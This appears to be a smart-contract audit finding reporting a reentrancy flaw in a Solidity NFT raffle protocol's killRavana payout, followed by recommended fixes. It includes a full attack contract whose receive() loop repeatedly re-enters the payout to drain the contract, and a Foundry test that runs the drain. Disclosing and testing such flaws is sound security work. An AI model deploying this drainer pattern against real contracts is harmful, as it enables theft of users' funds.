Summary
This is an NFT protocol that aims to share the mint fees between the RamNFT::organiser
and ChoosingRam::selectedRam
. The function Dussehra::killRavana
handles dividing the mint fees and sending half to the RamNFT::organiser
:
function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
revert Dussehra__MahuratIsFinished();
}
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}
The function can only be called if ChoosingRam::isRamSelected
is true
The function can only be called within a certain time frame, and it can be called by anyone
The fee is divided and half the amount is immediately transferred to RamNFT::organiser
The other half is claimed by ChoosingRam::selectedRam
through the Dussehra::withdraw
function
A malicious contract can act as the organizer and drain all the funds.
Vulnerability Details
Dussehra::killRavana
distributes funds to RamNFT::organiser
making an external call. If RamNFT::organiser
is a malicious contract, it can drain all the funds.
Attack Contract
:
pragma solidity 0.8.20;
interface IChoosingRam {
function selectRamIfNotSelected() external;
}
interface IDussehra {
function killRavana() external;
}
contract OrganizerReenter {
address private immutable owner;
IChoosingRam choosingRam;
IDussehra dussehra;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
constructor() {
owner = msg.sender;
}
function setContracts(address _dussehra, address _chooingRam) public onlyOwner{
dussehra = IDussehra(_dussehra);
choosingRam = IChoosingRam(_chooingRam);
}
function attack() public onlyOwner {
choosingRam.selectRamIfNotSelected();
}
function withdraw() public onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
receive() external payable {
while (address(dussehra).balance > 1 ether) {
dussehra.killRavana();
}
}
}
The malicious user pulling the strings will use a contract like this that will function the as RamNFT::organiser
This attack contract will end up being the deployer for RamNFT
giving it RamNFT::onlyOrganiser
privileges.
RamNFT::onlyOrganiser
is able to set the ChoosingRam
contract and call ChoosingRam::selectRamIfNotSelected
The malicious user can call OrganizerReenter::attack
function attack() public onlyOwner {
choosingRam.selectRamIfNotSelected();
}
The actual attack occurs in the fallback function:
receive() external payable {
while (address(dussehra).balance > 1 ether) {
dussehra.killRavana();
}
}
At some point, the contract will receive ether from Dussehra::killRavana
as we saw in the summary section
Upon receiving ether, the attack contract will check if the Dussehra
contract still has ether.
If it does, the contract will call Dussehra::killRavana
again
This loop will continue until the Dussehra
contract has less than 1 ether
Foundry Test
to set up attack:
contract OrganizerReenterTest is Test {
Dussehra public dussehra;
RamNFT public ramNFT;
ChoosingRam public choosingRam;
OrganizerReenter attack;
address public rug_organiser = makeAddr("organiser");
uint256 public constant PICK_A_NUMBER = 5;
address[] players = new address[](PICK_A_NUMBER);
function setUp() public {
vm.startPrank(rug_organiser);
attack = new OrganizerReenter();
vm.stopPrank();
vm.startPrank(address(attack));
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
vm.deal(rug_organiser, 10 ether);
vm.startPrank(rug_organiser);
attack.setContracts(address(dussehra), address(choosingRam));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
modifier participants() {
for (uint256 i =0; i< PICK_A_NUMBER; i++) {
string memory stringNumber = vm.toString(i);
players[i] = makeAddr(stringNumber);
vm.deal(players[i], 1 ether);
vm.startPrank(players[i]);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
_;
}
First, the rug_organiser
user will deploy the attack contract gaining onlyOwner
privileges
Next, the attack contract will deploy RamNFT
which will be used to deploy the remaining contracts in the protocol
The rest of the set up enters rug_organiser
and an arbitrary amount of users into the protocol.
Foundry
attack test:
function test_organizerReenterWorks() public participants {
uint256 contractBalance = address(dussehra).balance;
console.log("balanceStart: ", contractBalance);
vm.warp(1728691200 + 1);
vm.startPrank(rug_organiser);
attack.attack();
vm.stopPrank();
contractBalance = address(dussehra).balance;
uint256 RamwinningAmount = dussehra.totalAmountGivenToRam();
console.log("balance2: ", contractBalance);
console.log("RamwinningAmountStart: ", RamwinningAmount);
vm.startPrank(rug_organiser);
dussehra.killRavana();
vm.stopPrank();
contractBalance = address(dussehra).balance;
RamwinningAmount = dussehra.totalAmountGivenToRam();
console.log("balanceEnd: ", contractBalance);
console.log("RamwinningAmountEnd: ", RamwinningAmount);
}
The attack simulates the rug_organiser
calling OrganizerReenter::attack()
to make sure ChoosingRam::isRamSelected
is true
Then the rug_organiser
(or anyone) calls the Dussehra::killRavana()
function which starts the attack be interaction with the OrganizerReenter::receive()
function
The contract will be drained of all funds while Dussehra::totalAmountGivenToRam
will still display 50% of the mint fees
Impact
This is a high risk vulnerability that allows RamNFT::organiser
to take all the funds.
The vulnerability has a profound impact on the protocol. The goal of the protocol is to split the total mint fees between RamNFT::organiser
and ChoosingRam::selectedRam
. Instead, with little effort, RamNFT::organiser
is able steal all the funds. The protocol chooses to distribute funds to RamNFT::organiser
through the Dussehra:: killRavana()
function opening the door for a reentrancy attack.
While this protocol is designed to be a sort of raffle, the impact of the bug turns the protocol into an easy rug for the malicious organizer.
Tools Used
Recommendations
There are a few ways to avoid this vulnerability.
Make sure that the deployer of RamNFT
is not a contract
RamNFT
function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
RamNFT::constructor()
constructor() ERC721("RamNFT", "RAM") {
+ if (_isContract(msg.sender)) {
+ revert();
+ }
tokenCounter = 0;
organiser = msg.sender;
}
B) Use OpenZeppelin Security Libraries implementing ReentrancyGuard or Pausable
C) Or, just create a separate withdraw function
contract Dussehra {
+ uint256 public totalAmountGivenToOrganizer;
function killRavana() public RamIsSelected {
...
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
+ totalAmountGivenToOrganizer = (totalAmountByThePeople * 50) / 100;
- (bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
- require(success, "Failed to send money to organiser");
}
+ function organizerWithdraw() public RamIsSelected RavanKilled {
+ if (msg.sender!= organiser) {
+ revert();
+ }
+ uint256 amount = totalAmountGivenToOrganizer;
+ totalAmountGivenToOrganizer = 0;
+ (bool success, ) = msg.sender.call{value: amount}("");
+ if (!success) {
+ revert()
+ }
+ }
}